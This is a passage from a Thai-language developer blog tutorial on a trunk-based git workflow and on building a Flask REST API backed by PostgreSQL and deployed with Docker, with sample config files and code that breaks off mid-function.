720px"></figure><p>Rebase &#xE42;&#xE14;&#xE22;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32;&#xE2D;&#xE31;&#xE1B;&#xE40;&#xE14;&#xE15;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14; </p><ul><li>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19; Rebase &#xE04;&#xE27;&#xE23;&#xE14;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE08;&#xE32;&#xE01; Trunk &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1A;&#xE19; Github Server</li></ul><pre><code>git checkout main

git pull origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.28.13.png" class="kg-image" alt loading="lazy" width="1972" height="262" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.28.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.28.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.28.13.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.28.13.png 1972w" sizes="(min-width: 720px) 720px"></figure><ul><li>Rebase &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32; Update &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;</li></ul><pre><code>git checkout feature/config-postgresql

git rebase main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.33.04.png" class="kg-image" alt loading="lazy" width="1970" height="258" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.33.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.33.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.33.04.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.33.04.png 1970w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Code &#xE43;&#xE19; Branch feature/config-postgresql &#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trank &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27; &#xE08;&#xE36;&#xE07; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35; Conflict &#xE15;&#xE2D;&#xE19; Rebase &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Conflict &#xE01;&#xE48;&#xE2D;&#xE19; Merge)</li></ul><pre><code>git checkout main

git merge feature/config-postgresql
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.38.10.png" class="kg-image" alt loading="lazy" width="1970" height="538" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.38.10.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.38.10.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.38.10.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.38.10.png 1970w" sizes="(min-width: 720px) 720px"></figure><p>*&#xE2D;&#xE32;&#xE08; Push Branch feature/config-postgresql &#xE02;&#xE36;&#xE49;&#xE19; Github Server &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE34;&#xE14; Pull Request (PR) &#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49;</p><p>**&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Conflict &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01; Rebase</p><pre><code>1. &#xE14;&#xE39;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; Conflict
2. &#xE40;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Conflict &#xE41;&#xE25;&#xE30;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE04;&#xE27;&#xE32;&#xE21;&#xE02;&#xE31;&#xE14;&#xE41;&#xE22;&#xE49;&#xE07;
3. &#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE41;&#xE25;&#xE49;&#xE27;
4. &#xE43;&#xE0A;&#xE49; git add &#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;
5. &#xE43;&#xE0A;&#xE49; git rebase --continue &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23; Rebase &#xE15;&#xE48;&#xE2D;
6. &#xE2B;&#xE32;&#xE01;&#xE22;&#xE31;&#xE07;&#xE21;&#xE35; Conflict &#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;

&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23; Rebase (&#xE16;&#xE49;&#xE32;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;)
git rebase --abort

</code></pre><ul><li>Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.41.04.png" class="kg-image" alt loading="lazy" width="1970" height="364" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.41.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.41.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.41.04.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.41.04.png 1970w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE25;&#xE1A; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;</li></ul><pre><code>git branch -d feature/config-postgresql
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.43.22.png" class="kg-image" alt loading="lazy" width="1976" height="184" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.43.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.43.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.43.22.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.43.22.png 1976w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; History &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</li></ul><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.54.01.png" class="kg-image" alt loading="lazy" width="1978" height="204" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.54.01.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.54.01.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.54.01.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.54.01.png 1978w" sizes="(min-width: 720px) 720px"></figure><p>Trunk &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35; History &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE15;&#xE23;&#xE07;&#xE2A;&#xE27;&#xE22;&#xE07;&#xE32;&#xE21;</p><h2 id="%E0%B8%9E%E0%B8%B1%E0%B8%92%E0%B8%99%E0%B8%B2-api-%E0%B9%80%E0%B8%8A%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%A1%E0%B8%95%E0%B9%88%E0%B8%AD%E0%B8%81%E0%B8%B1%E0%B8%9A-postgresql-%E0%B9%81%E0%B8%A5%E0%B8%B0-deploy-%E0%B8%9A%E0%B8%99-docker-container"><strong><strong>&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API<strong> </strong>&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL <strong>&#xE41;&#xE25;&#xE30; Deploy &#xE1A;&#xE19; Docker Container</strong></strong></strong></h2><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; userservice Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07; REST API &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>.
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x251C;&#x2500;&#x2500; Dockerfile
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; docker-compose.yml
&#x251C;&#x2500;&#x2500; main.py
&#x2514;&#x2500;&#x2500; requirements.txt</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder <strong><strong>user</strong>service</strong> &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Folder &#xE19;&#xE35;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git init</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.05.46.png" class="kg-image" alt loading="lazy" width="1682" height="262" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.05.46.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.05.46.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.05.46.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.05.46.png 1682w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; <a href="https://github.com/?ref=blog.pjjop.org">Github.com</a> &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Git Repo &#xE0A;&#xE37;&#xE48;&#xE2D; <strong><strong>user</strong>service</strong> &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE0A;&#xE19;&#xE34;&#xE14; Repo &#xE41;&#xE1A;&#xE1A; Private &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Create repository</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.07.14.png" class="kg-image" alt loading="lazy" width="2000" height="2225" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.07.14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.07.14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.07.14.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.07.14.png 2084w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; SSH &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Copy URL</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.08.21.png" class="kg-image" alt loading="lazy" width="2000" height="2225" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.08.21.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.08.21.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.08.21.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.08.21.png 2084w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Codespace &#xE01;&#xE31;&#xE1A; Git Repo &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; git remote add origin &#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22; URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49; Copy &#xE21;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><pre><code>git remote add origin git@github.com:promritn/userservice.git</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; README.md &#xE43;&#xE19; Folder userservice</li></ul><pre><code>touch README.md</code></pre><ul><li>&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D; REST API Project &#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE31;&#xE27;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; 1 &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; README.md &#xE14;&#xE49;&#xE27;&#xE22; Tag &#xE02;&#xE2D;&#xE07; Markdown &#xE41;&#xE25;&#xE49;&#xE27; Save</li></ul><pre><code># REST API Project</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.12.10.png" class="kg-image" alt loading="lazy" width="2000" height="1228" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.12.10.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.12.10.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.12.10.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-11.12.10.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>Commit &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;first commit&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.13.28.png" class="kg-image" alt loading="lazy" width="1516" height="242" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.13.28.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.13.28.png 1000w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.13.28.png 1516w" sizes="(min-width: 720px) 720px"></figure><ul><li>Push Code &#xE17;&#xE35;&#xE48; Commit &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.14.18.png" class="kg-image" alt loading="lazy" width="1814" height="238" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.14.18.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.14.18.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.14.18.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.14.18.png 1814w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Short-Lived Branch &#xE0A;&#xE37;&#xE48;&#xE2D; feature/restapi-dev</p><pre><code>git checkout -b feature/restapi-dev</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.17.19.png" class="kg-image" alt loading="lazy" width="1818" height="158" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.17.19.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.17.19.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.17.19.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.17.19.png 1818w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE41;&#xE25;&#xE30; Folder &#xE02;&#xE2D;&#xE07; Project &#xE15;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>.
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x251C;&#x2500;&#x2500; Dockerfile
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; docker-compose.yml
&#x251C;&#x2500;&#x2500; main.py
&#x2514;&#x2500;&#x2500; requirements.txt</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-11.32.46.png" class="kg-image" alt loading="lazy" width="2000" height="1231" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-11.32.46.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-11.32.46.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-11.32.46.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-11.32.46.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; docker-compose.yml</li></ul><figure class="kg-card kg-code-card"><pre><code>services:
  api:
    build: .
    ports:
      - &quot;8000:8000&quot;
    environment:
      - DB_USER=${DB_USER}
      - DB_PASSWORD=${DB_PASSWORD}
      - DB_NAME=${DB_NAME}
      - DB_HOST=host.docker.internal
      - DB_PORT=${DB_PORT:-5432}
      - API_TOKEN=${API_TOKEN}
    extra_hosts:
      - &quot;host.docker.internal:host-gateway&quot;
    healthcheck:
      test: [&quot;CMD&quot;, &quot;curl&quot;, &quot;-f&quot;, &quot;http://localhost:8000/health&quot;]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 5s
    restart: unless-stopped  # &#xE08;&#xE30;&#xE23;&#xE35;&#xE2A;&#xE15;&#xE32;&#xE23;&#xE4C;&#xE17; container &#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE16;&#xE49;&#xE32; health check &#xE44;&#xE21;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;</code></pre><figcaption>docker-compose.yml</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; .env</li></ul><figure class="kg-card kg-code-card"><pre><code># .env
API_PORT=8000
DB_USER=postgres
DB_PASSWORD=postgres123
DB_NAME=postgres
API_TOKEN=fjwfji3399</code></pre><figcaption>.env</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; .gitignore</li></ul><figure class="kg-card kg-code-card"><pre><code># .gitignore
.env</code></pre><figcaption>.gitignore</figcaption></figure><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE44;&#xE1F;&#xE25;&#xE4C; Dockerfile</li></ul><pre><code>FROM python:3.11-slim

WORKDIR /app

# &#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; system dependencies &#xE41;&#xE25;&#xE30; curl &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; health check
RUN apt-get update &amp;&amp; apt-get install -y \
    gcc \
    libpq-dev \
    curl \
    &amp;&amp; rm -rf /var/lib/apt/lists/*

# &#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01;&#xE44;&#xE1F;&#xE25;&#xE4C; requirements.txt
COPY requirements.txt .

# &#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Python dependencies
RUN pip install --no-cache-dir -r requirements.txt

# &#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01;&#xE42;&#xE04;&#xE49;&#xE14;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;
COPY . .

# &#xE41;&#xE01;&#xE49;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; permission denied &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; non-root user
RUN useradd -m myuser
RUN chown -R myuser:myuser /app
USER myuser

# &#xE23;&#xE31;&#xE19; Flask &#xE14;&#xE49;&#xE27;&#xE22; gunicorn
CMD [&quot;gunicorn&quot;, &quot;-b&quot;, &quot;0.0.0.0:8000&quot;, &quot;main:app&quot;, &quot;--access-logfile&quot;, &quot;-&quot;, &quot;--error-logfile&quot;, &quot;-&quot;]</code></pre><ul><li>&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; main.py</li></ul><pre><code>from flask import Flask, request, jsonify, abort
from flask_httpauth import HTTPTokenAuth
from flask_cors import CORS
import psycopg2
import psycopg2.extras
import os

# &#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; config &#xE08;&#xE32;&#xE01; environment variables
DB_USER = os.getenv(&quot;DB_USER&quot;)
DB_PASSWORD = os.getenv(&quot;DB_PASSWORD&quot;)
DB_NAME = os.getenv(&quot;DB_NAME&quot;)
DB_HOST = os.getenv(&quot;DB_HOST&quot;, &quot;localhost&quot;)  # &#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE04;&#xE37;&#xE2D; localhost
DB_PORT = os.getenv(&quot;DB_PORT&quot;, &quot;5432&quot;)       # &#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE04;&#xE37;&#xE2D; 5432
API_TOKEN = os.getenv(&quot;API_TOKEN&quot;)

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Flask app
app = Flask(__name__)

# &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; CORS
CORS(app, resources={r&quot;/api/v1/*&quot;: {&quot;origins&quot;: &quot;http://localhost:3000&quot;}})

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; authentication instance
auth = HTTPTokenAuth(scheme=&apos;Bearer&apos;)

# &#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; token
@auth.verify_token
def verify_token(token):
    return token == API_TOKEN

# &#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
def get_db_connection():
    conn = psycopg2.connect(
        host=DB_HOST,
        port=DB_PORT,
        dbname=DB_NAME,
        user=DB_USER,
        password=DB_PASSWORD
    )
    return conn

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; API Blueprint &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; version 1
from flask import Blueprint
api_v1 = Blueprint(&apos;api_v1&apos;, __name__, url_prefix=&apos;/api/v1&apos;)

# Routes &#xE20;&#xE32;&#xE22;&#xE43;&#xE15;&#xE49; Blueprint api_v1
@api_v1.route(&apos;/users&apos;, methods=[&apos;GET&apos;])
@auth.login_required
def get_users():
    &quot;&quot;&quot;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&quot;&quot;&quot;
    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    cursor.execute(&apos;SELECT * FROM users&apos;)
    users = cursor.fetchall()
    cursor.close()
    conn.close()
    users_list = [dict(user) for user in users]
    return jsonify(users_list)

@api_v1.route(&apos;/users/&lt;int:user_id&gt;&apos;, methods=[&apos;GET&apos;])
@auth.login_required
def get_user(user_id):
    &quot;&quot;&quot;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE32;&#xE21; ID&quot;&quot;&quot;
    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    cursor.execute(&apos;SELECT * FROM users WHERE id = %s&apos;, (user_id,))
    user = cursor.fetchone()
    cursor.close()
    conn.close()
    if not user:
